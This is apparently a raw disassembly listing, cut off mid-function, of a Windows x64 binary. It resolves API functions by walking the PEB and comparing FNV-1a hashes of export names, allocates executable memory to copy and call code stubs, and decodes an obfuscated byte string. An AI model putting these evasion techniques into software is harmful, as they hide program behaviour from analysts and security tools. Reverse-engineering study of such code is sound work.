movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14013fba0
jmp 0x14013fbc3
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
test al, al
jne 0x14013fbb6
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x14013fbe3
cmp qword [rdi + 0x30], rax
jne 0x14013fab2
mov rdx, rax
mov qword [0x1404fc150], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404fc148]
xor eax, eax
test rdx, rdx
jne 0x14013fd5d
mov esi, eax
mov r14d, 0x2fd4df39
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14013fc72
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14013fc64
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14013fc53
cmp r8d, esi
jne 0x14013fd3f
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x14013fd3f
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x14013fd3f
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x14013fcc6
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r13
test cl, cl
jne 0x14013fcbb
cmp edx, r14d
je 0x14013fcdc
test r9d, r9d
jne 0x14013fca6
jmp 0x14013fd3f
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, rbx
cmp rdx, r10
jbe 0x14013fd56
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x14013fd56
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14013fd1e
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14013fd10
jmp 0x14013fd33
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
test al, al
jne 0x14013fd26
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x14013fd53
cmp qword [rdi + 0x30], rax
jne 0x14013fc22
mov rdx, rax
mov qword [0x1404fc148], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404fc140]
xor eax, eax
test rdx, rdx
jne 0x14013fecd
mov esi, eax
mov r14d, 0xe80fd3a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14013fde2
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14013fdd4
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14013fdc3
cmp r8d, esi
jne 0x14013feaf
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x14013feaf
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x14013feaf
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x14013fe36
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r13
test cl, cl
jne 0x14013fe2b
cmp edx, r14d
je 0x14013fe4c
test r9d, r9d
jne 0x14013fe16
jmp 0x14013feaf
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, rbx
cmp rdx, r10
jbe 0x14013fec6
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x14013fec6
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14013fe8e
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14013fe80
jmp 0x14013fea3
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
test al, al
jne 0x14013fe96
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x14013fec3
cmp qword [rdi + 0x30], rax
jne 0x14013fd92
mov rdx, rax
mov qword [0x1404fc140], rdx
xor ecx, ecx
call rdx
xor eax, eax
cmp qword [0x1404fc138], rax
jne 0x14014003c
mov esi, eax
mov r14d, 0xa52bcaf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14013ff4f
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14013ff41
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14013ff30
cmp r8d, esi
jne 0x14014001e
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x14014001e
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x14014001e
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x14013ffa3
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r13
test cl, cl
jne 0x14013ff98
cmp edx, r14d
je 0x14013ffb9
test r9d, r9d
jne 0x14013ff83
jmp 0x14014001e
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r9d, dword [r8 + rdx*4]
add r9, rbx
cmp r9, r10
jbe 0x140140035
lea rcx, [rax + r10]
cmp r9, rcx
jae 0x140140035
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14013fffb
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r9, r13
mov al, byte [r9]
cmp al, 0x2e
jne 0x14013ffed
jmp 0x140140011
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r9, r13
mov al, byte [r9]
test al, al
jne 0x140140004
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x140140032
cmp qword [rdi + 0x30], rax
jne 0x14013feff
mov r9, rax
mov qword [0x1404fc138], r9
mov r8, qword [0x1404fc168]
test r8, r8
jne 0x1401400b3
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r9, qword [rax]
mov r10, r9
mov rcx, qword [r9 + 0x60]
movzx eax, word [r9 + 0x58]
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
cmp rcx, rdx
je 0x140140099
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14014007a
cmp r8d, 0x610c0de3
je 0x140140106
mov r9, qword [r9]
xor eax, eax
cmp r9, r10
je 0x1401400a9
cmp qword [r9 + 0x30], rax
jne 0x14014005f
mov r8, rax
mov qword [0x1404fc168], r8
movsxd rax, dword [r8 + 0x3c]
mov r11d, dword [rax + r8 + 0x88]
xor eax, eax
mov r9d, eax
mov r10d, dword [r11 + r8 + 0x20]
mov eax, r9d
lea rcx, [r10 + rax*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov ecx, 0x811c9dc5
mov al, byte [rdx]
add rdx, r13
test al, al
je 0x140140101
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
add rdx, r13
test al, al
jne 0x1401400e5
cmp ecx, 0xe463da3c
je 0x14014010c
add r9d, r13d
jmp 0x1401400c9
mov r8, qword [r9 + 0x30]
jmp 0x1401400ac
mov edx, dword [r11 + r8 + 0x1c]
add rdx, r8
mov ecx, dword [r11 + r8 + 0x24]
add rcx, r8
mov eax, r9d
movzx ecx, word [rcx + rax*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
xor ecx, ecx
call rax
mov r12, rax
mov r10, qword [0x1404fba00]
xor eax, eax
test r10, r10
jne 0x1401402a7
mov esi, eax
mov r14d, 0x820621f3
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401401b1
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401401a3
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140140192
cmp r8d, esi
jne 0x140140283
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r11d, eax
add r11, rbx
shr rax, 0x20
cmp r11, rbx
je 0x140140283
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140140283
mov r10d, dword [r11 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x140140205
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401401fa
cmp edx, r14d
je 0x14014021b
test r9d, r9d
jne 0x1401401e5
jmp 0x140140283
mov r8d, dword [r11 + 0x1c]
add r8, rbx
mov edx, dword [r11 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r10d, dword [r8 + rdx*4]
add r10, rbx
cmp r10, r11
jbe 0x14014029a
lea rcx, [rax + r11]
cmp r10, rcx
jae 0x14014029a
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x140140276
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rcx
jmp 0x140140252
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rcx
mov al, byte [r10]
test al, al
jne 0x140140269
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x140140297
cmp qword [rdi + 0x30], rax
jne 0x140140161
mov r10, rax
mov qword [0x1404fba00], r10
mov r13d, 1
lea r9, [rbp + 0x11a8]
mov r8d, r13d
mov edx, 0x5000
mov rcx, r12
call r10
mov r8, qword [0x1404fc160]
xor eax, eax
test r8, r8
jne 0x14014042d
mov esi, eax
mov r14d, 0x33b00bc5
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14014033d
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14014032f
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14014031e
cmp r8d, esi
jne 0x14014040f
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x14014040f
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x14014040f
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x140140391
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140140386
cmp edx, r14d
je 0x1401403a7
test r9d, r9d
jne 0x140140371
jmp 0x14014040f
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r8d, dword [r8 + rdx*4]
add r8, rbx
cmp r8, r10
jbe 0x140140426
lea rcx, [rax + r10]
cmp r8, rcx
jae 0x140140426
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r8]
cmp al, 0x2e
je 0x140140402
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r8, rcx
jmp 0x1401403de
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r8, rcx
mov al, byte [r8]
test al, al
jne 0x1401403f5
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x140140423
cmp qword [rdi + 0x30], rax
jne 0x1401402ed
mov r8, rax
mov qword [0x1404fc160], r8
mov edx, 0x5000
mov rcx, r12
call r8
mov qword [0], 0x99
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rdx, qword [rcx + 0x10]
mov eax, dword [rdx + 0x30]
sub eax, 0x66666667
mov dword [rdx + 0x40], eax
lea rbx, [0x140103778]
xor eax, eax
mov qword [rbp + 0x28], rax
mov dword [rbp - 0x60], eax
mov qword [rbp], rax
lea rax, [0x1401648ac]
mov qword [rbp + 8], rax
xor eax, eax
mov dword [rbp - 0x5c], eax
mov qword [rbp - 0x38], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68], xmm0
mov qword [rbp + 0x78], rax
lea rdx, [rbp + 0x4228]
lea rcx, [rbp + 0x68]
call fcn.1400da2dc
nop
xor edx, edx
mov ecx, edx
mov edi, 0x1f4
lea r14, [0x1400c984c]
lea rsi, [0x140000000]
mov rax, qword [0x1404fbad0]
test rax, rax
je 0x1401404f5
lea r15d, [rdx + 1]
cmp rax, r14
je 0x1401404e2
add ecx, r15d
mov rax, qword [rsi + rcx*8 + 0x4fbad0]
test rax, rax
jne 0x1401404cb
jmp 0x1401404f5
mov eax, ecx
mov r10, qword [rsi + rax*8 + 0x4fbdf0]
test r10, r10
jne 0x1401405da
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
xor eax, eax
test r10, r10
jne 0x14014051e
mov r10d, eax
jmp 0x1401405b3
mov rax, r14
mov rcx, r10
mov edx, 3
lea r8d, [rdx + 0x7d]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r8
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r8
sub rdx, 1
jne 0x14014052d
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1404fbac0]
mov qword [rsi + rax*8 + 0x4fbad0], r14
mov qword [rsi + rax*8 + 0x4fbdf0], r10
mov r15d, 1
add rax, r15
mov qword [0x1404fbac0], rax
lea rax, [rbp + 0x28]
mov qword [rsp + 0x30], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x28], rax
lea rax, [rbp]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 8]
lea r8, [rbp - 0x5c]
lea rdx, [rbp - 0x38]
mov rcx, rbx
call r10
nop
mov rdx, qword [rbp + 0x68]
xor rdx, qword [rbp + 0x70]
mov rcx, qword [rbp + 0x78]
mov qword [rcx], rdx
mov qword [0x1404fba58], rax
xor eax, eax
mov qword [rbp + 0x18], rax
mov dword [rbp - 0x74], eax
mov qword [rbp - 0x40], rax
lea rax, [0x1400dabb8]
mov qword [rbp - 0x30], rax
xor eax, eax
mov dword [rbp - 0x70], eax
mov qword [rbp - 0x28], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
mov qword [rbp + 0x90], rax
lea rdx, [rbp + 0x4228]
lea rcx, [rbp + 0x80]
call fcn.1400da2dc
nop
xor edx, edx
mov ecx, edx
mov rax, qword [0x1404fbad0]
jmp 0x140140681
cmp rax, r14
je 0x140140688
add ecx, r15d
mov rax, qword [rsi + rcx*8 + 0x4fbad0]
test rax, rax
jne 0x140140671
jmp 0x14014069b
mov eax, ecx
mov r10, qword [rsi + rax*8 + 0x4fbdf0]
test r10, r10
jne 0x14014077a
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
xor eax, eax
test r10, r10
jne 0x1401406c4
mov r10d, eax
jmp 0x140140759
mov rax, r14
mov rcx, r10
mov edx, 3
lea r8d, [rdx + 0x7d]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r8
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r8
sub rdx, 1
jne 0x1401406d3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1404fbac0]
mov qword [rsi + rax*8 + 0x4fbad0], r14
mov qword [rsi + rax*8 + 0x4fbdf0], r10
add rax, r15
mov qword [0x1404fbac0], rax
lea rax, [rbp + 0x18]
mov qword [rsp + 0x30], rax
lea rax, [rbp - 0x74]
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x30]
lea r8, [rbp - 0x70]
lea rdx, [rbp - 0x28]
mov rcx, rbx
call r10
nop
mov rdx, qword [rbp + 0x80]
xor rdx, qword [rbp + 0x88]
mov rcx, qword [rbp + 0x90]
mov qword [rcx], rdx
mov qword [0x1404fba60], rax
mov byte [0x1404fba44], r15b
xor ebx, ebx
cmp qword [0x1404fba58], rbx
je 0x140140b43
test rax, rax
je 0x140140b43
call fcn.140103220
test al, al
je 0x140140b43
mov rcx, qword [0x1404fba58]
call qword [sym.imp.KERNEL32.dll_GetThreadId]
test eax, eax
je 0x140140b43
mov rcx, qword [0x1404fba60]
call qword [sym.imp.KERNEL32.dll_GetThreadId]
test eax, eax
je 0x140140b43
mov r12d, 0xbb21e02e
mov rdx, qword [0x1404fc170]
xor eax, eax
test rdx, rdx
jne 0x14014098f
mov esi, eax
mov r14d, r12d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401408a1
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140140893
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140140882
cmp r8d, esi
jne 0x140140971
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x140140971
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140140971
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x1401408f5
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401408ea
cmp edx, r14d
je 0x14014090b
test r9d, r9d
jne 0x1401408d5
jmp 0x140140971
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, rbx
cmp rdx, r10
jbe 0x140140988
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x140140988
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x140140965
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x140140942
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x140140958
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x140140985
cmp qword [rdi + 0x30], rax
jne 0x140140851
mov rdx, rax
mov qword [0x1404fc170], rdx
mov rcx, qword [0x1404fba58]
call rdx
mov rdx, qword [0x1404fc170]
xor eax, eax
test rdx, rdx
jne 0x140140b04
mov esi, eax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r14, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140140a13
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140140a05
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401409f4
cmp r8d, esi
jne 0x140140ae6
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x140140ae6
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140140ae6
mov r11d, dword [r10 + 0x20]
mov r13d, 1
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x140140a6d
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r13
test cl, cl
jne 0x140140a62
cmp edx, r12d
je 0x140140a83
test r9d, r9d
jne 0x140140a4d
jmp 0x140140ae6
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, rbx
cmp rdx, r10
jbe 0x140140afd
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x140140afd
mov eax, 0x811c9dc5
mov esi, eax
mov r12d, eax
jmp 0x140140ac5
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140140ab7
jmp 0x140140ada
movsx eax, al
xor eax, r12d
imul r12d, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
test al, al
jne 0x140140acd
mov rdi, qword [r14]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r14
je 0x140140afa
cmp qword [rdi + 0x30], rax
jne 0x1401409c3
mov rdx, rax
mov qword [0x1404fc170], rdx
mov rcx, qword [0x1404fba60]
call rdx
mov rcx, qword [0x1404fba58]
call fcn.1401a1264
mov rcx, qword [0x1404fba60]
call fcn.1401a1264
mov rcx, qword [0x1404fba58]
call fcn.14019f964
mov rcx, qword [0x1404fba60]
call fcn.14019f964
mov r15d, 1
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1ca0]
call sub.VCRUNTIME140.dll_memset
mov byte [rbp + 0x640], 0xab
mov byte [rbp + 0x641], 0xa3
mov byte [rbp + 0x642], 0x80
mov byte [rbp + 0x643], 0x9a
mov byte [rbp + 0x644], 0xf5
mov byte [rbp + 0x645], 0xf3
mov byte [rbp + 0x646], Ordinal_143
mov byte [rbp + 0x647], 0xfe
mov byte [rbp + 0x648], 0xf7
mov byte [rbp + 0x649], 0xf0
mov byte [rbp + 0x64a], 0x88
mov byte [rbp + 0x64b], __WSAFDIsSet
mov byte [rbp + 0x64c], 0xed
mov byte [rbp + 0x64d], 0xf4
mov byte [rbp + 0x64e], 0xf4
mov byte [rbp + 0x64f], 0xfc
mov byte [rbp + 0x650], 0x85
mov byte [rbp + 0x651], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x652], 0xca
mov byte [rbp + 0x653], 0xf7
mov byte [rbp + 0x654], 0xde
mov byte [rbp + 0x655], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x656], 0x87
mov byte [rbp + 0x657], 0x85
mov byte [rbp + 0x658], 0xf5
mov byte [rbp + 0x659], 0x83
mov byte [rbp + 0x65a], 0x81
mov byte [rbp + 0x65b], 0xff
mov byte [rbp + 0x65c], Ordinal_217
mov byte [rbp + 0x65d], Ordinal_143
mov byte [rbp + 0x65e], 0xf7
mov byte [rbp + 0x65f], Ordinal_211
mov byte [rbp + 0x660], 0x9d
mov byte [rbp + 0x661], 0xea
mov byte [rbp + 0x662], 0x9a
mov byte [rbp + 0x663], 0xef
mov byte [rbp + 0x664], Ordinal_211
mov byte [rbp + 0x665], 0x9c
mov byte [rbp + 0x666], 0x87
mov byte [rbp + 0x667], __WSAFDIsSet
mov byte [rbp + 0x668], reloc.WS2_32.dll_ntohl
xor eax, eax
mov dword [rbp + 0x669], eax
mov word [rbp + 0x66d], ax
mov byte [rbp + 0x66f], al
movabs rsi, 0x8469be116195eb1
mov bl, byte [rsp + 0x50]
call fcn.1401abe8c
mov rdi, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
xor eax, eax
mov r9d, eax
cmp r9, 0x30
jae 0x1401417c3
movzx r8d, byte [rbp + r9 + 0x640]
mov rdx, r8
cmp rdi, r9
ja 0x1401417ba
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x140140cef
lea rcx, [r9 + rsi]
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
add bl, 0x29
jmp 0x140140d1c
je 0x140141739
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401416b4
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140141687
lea rax, [r10 + 6]
